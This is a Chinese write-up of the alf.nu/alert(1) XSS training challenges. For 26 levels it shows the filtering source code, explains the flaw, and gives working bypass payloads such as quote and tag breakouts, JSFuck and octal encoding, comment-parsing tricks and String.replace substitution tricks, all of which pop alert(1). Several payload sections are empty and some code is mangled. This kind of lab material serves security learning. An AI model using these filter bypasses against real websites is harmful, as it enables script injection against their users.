XSS靶场(alf.nu/alert1)部分题目详解(26/29),本文首发先知社区
写在前面 最近深感自己前端安全知识掌握的不是很好,于是找了个XSS靶场 练习下,截止到2019年6月9日,网站上共有29道题目,我当前只做出了26道,还有3道题目没有头绪,分别是Fruit 3
、Quine
、Entities 2
,当然已经做出的这些题目也不一定是最优解,希望与师傅们交流学习下,如果有发现什么错误,欢迎师傅们批评指正。
我的链接
1 https ://alf.nu/alert(1 )#accesstoken=WcMW1 j+qtfFu6 BQVFdJM
浏览器版本:Chrome 74
1. Warmup 1.1 源码 1 2 3 4 function escape (s ) { return '<script>console.log("' + s + '");</script>' ; }
1.2 分析 代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("
即可。
1.3 Payload 1 2 3 4 13 个字符");alert(1)// 12个字符 " );alert(1 ,"
2. Adobe 2.1 源码 1 2 3 4 5 function escape (s ) { s = s.replace(/"/g , '\\"' ); return '<script>console.log("' + s + '");</script>' ; }
2.2 分析 代码将输入的双引号加了一个\
进行了转义,这样我们就不能像第一题那样闭合console.log
了,但是没啥影响,有两种方法:
闭合之前的<script>
标签,然后再写一个<script>
。
使用\
来转义对"
进行转义的\
,从而绕过对"
的过滤。
2.3 Payload 1 2 3 4 方法1 27 个字符 </script><script>alert(1)/ / 方法2 14个字符 \");alert(1)/ /
3. JSON 3.1 源码 1 2 3 4 function escape (s ) { s = JSON .stringify(s); return '<script>console.log(' + s + ');</script>' ; }
3.2 分析 代码将输入使用JSON.stringify
进行了处理,与第二题的方法一思路相同。
3.3 Payload 1 </script><script>alert(1)/ /
4. Markdown 4.1 源码 1 2 3 4 5 6 7 8 function escape (s ) { var text = s.replace(/</g , '<' ).replace(/"/g , '"' ); text = text.replace(/(http:\/\/\S+)/g , '<a href="$1">$1</a>' ); text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g , '<img alt="$2" src="$1.gif">' ); return text; }
4.2 分析 代码进行了三步操作
第一步,将<
和"
转成了HTML实体
第二步,如果存在http://
的字符串, 会可以生成一个a
标签
第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]
格式的字符串,则变为<img alt="Description" src="img123.gif">
。
开头对"
和<
进行了编码操作,所以不能直接传入"
来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a
标签中的"
,从而闭合img
标签的alt
属性。
4.3 Payload
5. DOM 5.1 源码 1 2 3 4 5 6 7 8 9 10 function escape (s ) { var m = s.split(/#/ ); var a = document .createElement('div' ); a.appendChild(document ['create' + m[0 ]].apply(document , m.slice(1 ))); return a.innerHTML; }
5.2 分析 代码实现了一个根据输入来创建的DOM
节点的功能。 如果输入是TextNode#foo
,那么执行的代码就是document.createTextNode("foo")
。 根据格式查一下手册
列一下几个常用的:
createElement()
创建一个元素节点
createTextNode()
创建一个文本节点
createAttribute()
创建一个属性节点
createComment()
创建一个注释节点
经过尝试,通过createComment()
创建一个注释节点,然后闭合注释可以达到代码执行的目的。
5.3 Payload 1 2 3 4 34 个字符 Comment#><script>alert(1)</script>32 个字符 Comment#><iframe onload=alert(1)
6. Callback 6.1 源码 1 2 3 4 5 6 7 8 9 10 11 function escape (s ) { var thing = s.split(/#/ ); if (!/^[a-zA-Z\[\]']*$/ .test(thing[0 ])) return 'Invalid callback' ; var obj = { 'userdata' : thing[1 ] }; var json = JSON .stringify(obj).replace(/</g , '\\u003c' ); return "<script>" + thing[0 ] + "(" + json + ")</script>" ; }
6.2 分析 代码首先将输入的字符串按照#
分割为两部分,第一部分是回调函数,只能使用大小写字母、[
、]
、'
,第二部分是JSON
数据。 而且后面又将JSON
数据中的尖括号转义成了\\u003c
。 最终的目的依旧是执行JS
代码,thing[0]
部分不一定是一个函数,只要满足要求就OK。 既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。
6.3 Payload
简单分析一下最终的执行过程,通过两个单引号闭合数据。在这里是'({"userdata":"'
,在alert(1)
后面加个注释符将后面的无效数据注释掉,也就是//"})
。剩余的代码也就成功执行了。
1 <script > '({"userdata":"' ;alert(1 )</script >
7. Skandia 7.1 源码 1 2 3 function escape (s ) { return '<script>console.log("' + s.toUpperCase() + '")</script>' ; }
7.2 分析 很容易就能闭合标签,但是方法alert(1)
,被转换成大写了,无法执行,尝试编码绕过。
7.3 Payload 1 2 54 个字符 </script><img src onerror =alert(1) >
8. Template 8.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function escape (s ) { function htmlEscape (s ) { return s.replace(/./g , function (x ) { return { '<' : '<' , '>' : '>' , '&' : '&' , '"' : '"' , "'" : ''' }[x] || x; }); } function expandTemplate (template, args ) { return template.replace( /{(\w+)}/g, function (_, n ) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ " , { name: s } ); }
8.2 分析 代码对输入的<
、>
、&
、"
、'
、进行了转义,输入的字符串会拼接在{name}
处。 由于没有过滤\
,可以利用JS
的8进制或者16进制编码来绕过。
8.3 Payload 需要注意的是第二个Payload
末尾有一个空格。
1 2 3 4 32 个字符 \x3cimg src onerror=alert(1 )\x3e26 个字符 \x3cstyle/onload=alert(1 )
9. JSON 2 9.1 源码 1 2 3 4 function escape (s ) { s = JSON .stringify(s).replace(/<\/script/gi , '' ); return '<script>console.log(' + s + ');</script>' ; }
9.2 分析 对</script>
标签进行了过滤,由于正则中存在i
修饰符,不区分大小写,不能使用大小写混合来绕过。
由于直接将字符串替换为空,可以双写绕过。
9.3 Payload 1 </</ scriptscript><script>alert(1 )
10. Callback 2 10.1 源码 1 2 3 4 5 6 7 8 9 10 11 function escape (s ) { var thing = s.split(/#/ ); if (!/^[a-zA-Z\[\]']*$/ .test(thing[0 ])) return 'Invalid callback' ; var obj = { 'userdata' : thing[1 ] }; var json = JSON .stringify(obj).replace(/\//g , '\\/' ); return "<script>" + thing[0 ] + "(" + json + ")</script>" ; }
10.2 分析 与第6题的类似,但是转义了/
,导致//
这个注释符无法使用,但是JavaScript
的注释符有三种,分别是//
、/**/
、<!--
。 可以使用<!--
来注释。
10.3 Payload
11. Skandia 2 11.1 源码 1 2 3 4 function escape (s ) { if (/[<>]/ .test(s)) return '-' ; return '<script>console.log("' + s.toUpperCase() + '")</script>' ; }
11.2 分析 代码过滤了<
、>
。还将所有输入的字母变成了大写,不能借助toUpperCase()
的特性来解了。 可以利用jsfuck
。 直接将");alert(1)//
中的alert(1)
用jsfuck
表示。
但是直接使用工具生成的jsfuck
太长了,不过我们还有另一种方法,就是JS
的匿名函数。
我们可以通过这种方法来执行任意方法。
1 []['map' ]['constructor' ]('alert(1)' )()
由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。
1 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
11.3 Payload 1 2 3 4 方法一 1232 个字符");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 方法二 100个字符 " );[]['\155\141\160' ]['\143\157\156\163\164\162\165\143\164\157\162' ]('\141\154\145\162\164(1)' )()
12. iframe 12.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function escape (s ) { var tag = document .createElement('iframe' ); s = '<script>' + s + '<\/script>' ; tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent (s); window .WINNING = function ( ) { youWon = true ; }; tag.setAttribute('onload' , 'youWon && alert(1)' ); return tag.outerHTML; }
12.2 分析 代码逻辑很简单,只要使youWon
为true
,这样就能执行alert(1)
了。 解决思路是利用到iframe
的特性,当在iframe
中设置了一个name
属性之后, 这个name
属性的值就会变成iframe
中的window
对象的全局。
12.3 Payload
13. TI(S)M 13.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 function escape (s ) { function json (s ) { return JSON .stringify(s).replace(/\//g , '\\/' ); } function html (s ) { return s.replace(/[<>"&]/g , function (s ) { return '&#' + s.charCodeAt(0 ) + ';' ; }); } return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>' ); }
13.2 分析 本题用到了一个小trick
:HTML5
解析器会将<!--<script>
到</script>
之间的任何东西都当作JavaScript
代码处理,同时要确保代码中还有一个-->
来防止解析器报语法错误。
首先输入一个<!--<script>
,此时的输出中
1 2 3 4 5 6 7 8 9 10 <!--<script > "; // We'll use this later </script > <!-- for debugging --> URL: <!--<script> <!-- then suddenly --> <script> if (!/^http:.*/ .test(url)) console .log("Bad url: " + url); else new Image().src = url; </script>
这一段所有的代码都会当做JS
执行。 在后面有个正则表达式!/^http:.*/
,其中的*/
可以当做注释,那么我们在前面再加入一个/*
即可闭合。 此时的输出为
1 2 3 4 5 6 7 8 9 10 <script>var url = "\/*<!--<script>" ; <!-- for debugging --> URL: .test(url)) console .log("Bad url: " + url); else new Image().src = url; </script>
那么,在注释符之前添加要执行的代码就可以了。
13.3 Payload
14. JSON 3 14.1 源码 1 2 3 4 5 6 7 8 function escape (s ) { return s.split('#' ).map(function (v ) { var json = JSON .stringify(v).replace(/<\//g , '<\\/' ); return '<script>console.log(' + json + ')</script>' ; }).join('' ); }
14.2 分析 题目思路与上一个题类似,借助<!--<script>
来执行JS代码,不过因为后面没有-->
,解析器会报错,需要我们在后面构造一个-->
来避免报错。
构造的Payload
为<!--<script>#)/;alert(1)//-->
,此时输出为
1 <script>console .log("<!--<script>" )</script><script>console.log(")/ ;alert(1 )
其中/script><script>console.log(")/
被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)
。
14.3 Payload 1 <!--<script>#)/;alert(1)//-->
15. Skandia 3 15.1 源码 1 2 3 4 function escape (s ) { if (/[\\<>]/ .test(s)) return '-' ; return '<script>console.log("' + s.toUpperCase() + '")</script>' ; }
15.2 分析 代码过滤了\
、<
、>
、同样使用jsfuck
就能过。因为对\
进行了过滤,不能使用八进制编码来绕过了。 根据jsfuck
的原理 ,我们借助匿名函数来构造一个更短的Payload
。
1 []["sort" ]["constructor" ]('alert(1)' )()
接下来的目标是将其中的字母以其他形式来表示。
用 !
开头会转换成 Boolean 布尔值
用 +
开头会转换成 Number 数值类型
添加 []
会转换成 String 字符串
![] === false
、 +[] === 0
、 []+[] === ""
值
经过jsfuck转换后
false
![]
true
!![]
或!+[]
NaN
+[![]]
或+[][[]]
undefined
[][[]]
Infinity
+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])
由此我们需要获得construale
这些字符的特殊表示。很明显,上述表格内的字母是不够的,需要继续构造。
1 2 (![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ] === "fill" []['fill' ]+[] === [][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[] ==="function fill() { [native code] }"
可得
1 2 3 4 5 6 7 8 9 10 "c" === ([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[3 ]"o" === ([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]"n" === ([][[]]+[])[1 ]"s" === (![]+[])[3 ]"t" === (!![]+[])[0 ]"r" === (!![]+[])[1 ]"u" === (!![]+[])[2 ]"a" === (![]+[])[1 ]"l" === (![]+[])[2 ]"e" === (![]+[])[4 ]
可得
1 2 3 "sort" === (![]+[])[3 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+(!![]+[])[1 ]+(!![]+[])[0 ]"constructor" === ([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[3 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+([][[]]+[])[1 ]+(![]+[])[3 ]+(!![]+[])[0 ]+(!![]+[])[1 ]+(!![]+[])[2 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[3 ]+(!![]+[])[0 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+(!![]+[])[1 ]"alert" === (![]+[])[1 ]+(![]+[])[2 ]+(![]+[])[4 ]+(!![]+[])[1 ]+(!![]+[])[0 ]
将其拼接入Payload
,长度为525
。
1 ");[][(![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]][([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]]((![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//
从网上找了一种更为简便的方法。
表达式
值
''+!1
false
''+!0
true
''+{}[0]
undefined
''+{}
[object Object]
1 2 3 "sort" === ('' +!1 )[3 ]+('' +{})[1 ]+('' +!0 )[1 ]+('' +!0 )[0 ]"constructor" === ('' +{})[5 ]+('' +{})[1 ]+('' +{}[0 ])[1 ]+('' +!1 )[3 ]+('' +!0 )[0 ]+('' +!0 )[1 ]+('' +!0 )[2 ]+('' +{})[5 ]+('' +!0 )[0 ]+('' +{})[1 ]+('' +!0 )[1 ]"alert" === ('' +!1 )[1 ]+('' +!1 )[2 ]+('' +!1 )[4 ]+('' +!0 )[1 ]+('' +!0 )[0 ]
构造Payload
,长度为241
。
1 ");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//
15.3 Payload 1 2 3 4 5 6 方法一");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 方法二 " );[][(![]+[])[3 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+(!![]+[])[1 ]+(!![]+[])[0 ]][([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[3 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+([][[]]+[])[1 ]+(![]+[])[3 ]+(!![]+[])[0 ]+(!![]+[])[1 ]+(!![]+[])[2 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[3 ]+(!![]+[])[0 ]+([][(![]+[])[0 ]+([][[]]+[])[5 ]+(![]+[])[2 ]+(![]+[])[2 ]]+[])[6 ]+(!![]+[])[1 ]]((![]+[])[1 ]+(![]+[])[2 ]+(![]+[])[4 ]+(!![]+[])[1 ]+(!![]+[])[0 ]+'(1)' )() 方法三");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//
16. RFC4627 16.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function escape (text ) { var i = 0 ; window .the_easy_but_expensive_way_out = function ( ) { alert(i++) }; if (! (/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/ .test(text.replace(/"(\\.|[^"\\])*"/g , '' )))) { try { var val = eval ('(' + text + ')' ); console .log('' + val); } catch (_) { console .log('Crashed: ' + _); } } else { console .log('Rejected.' ); } }
16.2 分析 从代码来看,我们如果想要执行alert(1)
,需要调用两次the_easy_but_expensive_way_out
方法。 从正则来看,代码并没有限制我们使用self
,因此我们可以借助self
来调用全局方法the_easy_but_expensive_way_out
。
在这里使用了一个小trick
在JS
中让一个对象和一个值或者一个字符进行相加等运算,JS
解析器会调用对象的valueOf
方法来计算对象的值。
因此我们可以传入一个对象,它的valueOf
指向的是self['the_easy_but_expensive_way_out']
方法,然后让这个对象与一个数字或者字符做运算,就能调用self['the_easy_but_expensive_way_out']
了,但是需要alert(1)
,所以需要我们调用两次。
参考链接
https://blog.mindedsecurity.com/2011/08/ye-olde-crockford-json-regexp-is.html
16.3 Payload 1 {"valueOf" :self["the_easy_but_expensive_way_out" ]}+0 ,{"valueOf" :self["the_easy_but_expensive_way_out" ]}
第一次调用是在eval
中,通过{"valueOf":self["the_easy_but_expensive_way_out"]}+0
调用,第二次是在console.log('' + val);
中,对象与字符进行了相加操作,从而调用了self['the_easy_but_expensive_way_out']
方法。
17. Well 17.1 源码 1 2 3 4 5 function escape (s ) { http: s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g , '' ); return "<script> var email = '" + s + "'; <\/script>" ; }
17.2 分析 代码过滤了\r
、\n
、\u2028
、\u2029
、\
、;
、,
、(
、)
、[
、]
和<
。 单引号没被过滤,可以闭合前面的语句,通过定义函数来执行代码。
在Payload
中,我们借助了new Function
语法 。
17.3 Payload 1 '+new Function `a${' alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'
18. No 18.1 源码 1 2 3 4 function escape (s ) { s = s.replace(/[()`<]/g , '' ); return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>' ; }
18.2 分析 代码过滤了(
、)
、\
、<
、但是没有过滤双引号,可以通过双引号来闭合前面的语句。 然后借助异常处理来执行代码。
1 ";onerror=eval;throw'=alert\x281\x29'//
参考链接http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/
18.3 Payload 1 ";onerror=eval;throw'=alert\x281\x29'//
19. K’Z’K 1 19.1 源码 1 2 3 4 5 6 function escape (s ) { s = s.replace(/[aeiouy]/gi , '' ); return '<script>console.log("' + s + '");</script>' ; }
19.2 分析 正则过滤了aeiouy
这些字符。可以借助匿名函数和编码来绕过。 首先构造匿名函数
1 []["pop" ]["constructor" ]('alert(1)' )()
将其中的被过滤的字符进行16进制编码。
1 2 3 4 5 6 a ==> \x61e ==> \x65i ==> \x69o ==> \x6fu ==> \x75y ==> \x79
此时Payload为
1 []["p\x6fp" ]["c\x6fnstr\x75ct\x6fr" ]('\x61l\x65rt(1)' )()
再将前后的语句闭合即可。
1 ");[][" p\x6fp"][" c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
19.3 Payload 1 ");[][" p\x6fp"][" c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
20. K’Z’K 2 20.1 源码 1 2 3 4 5 6 7 8 9 function escape (s ) { s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi , '' ) s = s.replace(/[{}!=<>]/g , '' ); return '<script>console.log("' + s + '");</script>' ; }
20.2 分析 正则看起来很复杂,不过是将编码的字符串替换为空了,双写一下就能绕过。
20.3 Payload 1 ");[][" p\\x6fx6fp"][" c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//
21. K’Z’K 3 21.1 源码 1 2 3 4 5 6 7 8 function escape (s ) { s = s.replace(/[aeiouy]/gi , '' ); s = s.replace(/[{}!=<>\\]/g , '' ); return '<script>console.log("' + s + '");</script>' ; }
21.2 分析 比第一题多了一个过滤,不仅过滤了aeiouy
,还过滤了{
、}
、!
、=
、<
、>
、\
。这下不能用编码来绕过了。 类似于第15题。
1 []["map" ]["constructor" ]('alert(1)' )()
在Payload中,不符合条件的字符aeou
。借助js的一些特性可以获取到。
1 2 3 4 5 6 7 8 [][[]]+[] === "undefined" ([][[]]+[])[0 ] === "u" ([][[]]+[])[3 ] === "e" 1 +[][0 ]+[] === "NaN" (1 +[][0 ]+[])[1 ] === "a" []["m" +(1 +[][0 ]+[])[1 ]+"p" ]+[] === "function map() { [native code] }" ([]["m" +(1 +[][0 ]+[])[1 ]+"p" ]+[])[26 ] === "o"
这样所有的字符就都获取到了,修改一下Payload
1 []["m" +(1 +[][0 ]+[])[1 ]+"p" ]["c" +([]["m" +(1 +[][0 ]+[])[1 ]+"p" ]+[])[26 ]+"nstr" +([][[]]+[])[0 ]+"ct" +([]["m" +(1 +[][0 ]+[])[1 ]+"p" ]+[])[26 ]+"r" ]((1 +[][0 ]+[])[1 ]+"l" +([][[]]+[])[3 ]+"rt(1)" )()
再闭合一下就OK了
21.3 Payload 1 ");[][" m"+(1+[][0]+[])[1]+" p"][" c"+([][" m"+(1+[][0]+[])[1]+" p"]+[])[26]+" nstr"+([][[]]+[])[0]+" ct"+([][" m"+(1+[][0]+[])[1]+" p"]+[])[26]+" r"]((1+[][0]+[])[1]+" l"+([][[]]+[])[3]+" rt(1 )")()//
22. Fruit 22.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function escape (s ) { var div = document .implementation.createHTMLDocument().createElement('div' ); div.innerHTML = s; function f (n ) { if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n); for (var i = 0 ; i < n.attributes.length; i++) { var name = n.attributes[i].name; if (name !== 'class' ) { n.removeAttribute(name); } } } [].map.call(div.querySelectorAll('*' ), f); return div.innerHTML; }
22.2 分析 题目直接给了提示CVE-2016-4618
,但发现没啥用。 在这里,代码主要的问题出现在逻辑上,在for
循环中,代码通过n.attributes.length
来判断边界条件,但是n.attributes.length
是动态变化的,如果存在多个属性,则最后一个属性是无法删除的,只要我们构造多个属性即可。
22.3 Payload 1 <iframe t onload=alert(1 )>
23. Fruit 2 23.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function escape (s ) { var div = document .implementation.createHTMLDocument().createElement('div' ); div.innerHTML = s; function f (n ) { if (/script/i .test(n.tagName)) n.parentNode.removeChild(n); for (var i = 0 ; i < n.attributes.length; i++) { var name = n.attributes[i].name; if (name !== 'class' ) { n.removeAttribute(name); } } } [].map.call(div.querySelectorAll('*' ), f); return div.innerHTML; }
23.2 分析 提示依旧没啥用,而且代码较上一题区别不大,使用同一个Payload
即可。
23.3 Payload 1 <iframe t onload=alert(1 )>
24. Capitals 24.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function escape (s ) { var capitals = { "CA" : { "AB" : "Edmonton" , "BC" : "Victoria" , "MB" : "Winnipeg" , }, "US" : { "AL" : ((year) = >year < 1846 ? "Tuscaloosa" : "Montgomery" ), "AK" : "Juneau" , "AR" : "Phoenix" , }, }; function capitalOf (country, stateOrProvinceName, year ) { var capital = capitals[country][stateOrProvinceName]; if (typeof capital === 'function' ) { capital = capital(year); } return capital } var inputs = (s || "" ).split(/#/g ); return '<b>' + capitalOf(inputs[0 ], inputs[1 ], inputs[2 ]) + '</b>' ; }
24.2 分析 代码的逻辑很简单,我们要想执行alert(1)
,需要满足if (typeof capital === 'function')
,而var capital = capitals[country][stateOrProvinceName];
,这里想到了我们前面做题用到的匿名函数。
然后我们再用</b>
闭合b
标签,添加<script>
标签来执行alert(1)
。
24.3 Payload 1 CA#constructor #</b ><script >alert (1 )</script >
25. Entities 25.1 源码 1 2 3 4 5 6 7 8 9 10 11 12 function escape (s ) { function htmlentities (s ) { return s.replace(/[&<>"']/g , c = >` & #$ { c.charCodeAt(0) };` ) } s = htmlentities(s); return ` < script > var obj = {}; obj["${s} "] = "${s} "; < /script>` ; }
25.2 分析 代码对&
、<
、>
、"
、'
进行了转义,后面返回值部分存在两个拼接点。借助转义符\
和注释符来进行绕过,拼接代码执行。
25.3 Payload
26. %level% 26.1 源码 1 2 3 4 5 6 function escape (s ) { const userInput = JSON .stringify(s).replace(/[<]/g , '%lt' ).replace(/[>]/g , '%gt' ); const userTemplate = '<script>let some = %userData%</script>' ; return userTemplate.replace(/%userData%/ , userInput); }
26.2 分析 代码对输入的字符串使用JSON.stringify
进行了处理,然后对<
和>
进行了编码。 在replace
中,userInput
是可控的,在这里用到了关于String.prototype.replace()
的一个小trick
。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace
我们可以通过$'
来引入匹配的子串右边的内容</script>
来闭合开头的<script>
,然后使用$\
来引入匹配的子串左边的内容<script>let some =
,这样就没有双引号来干扰了,直接使用调用alert(1)
,然后注释掉后面的代码即可。
26.3 Payload
参考链接
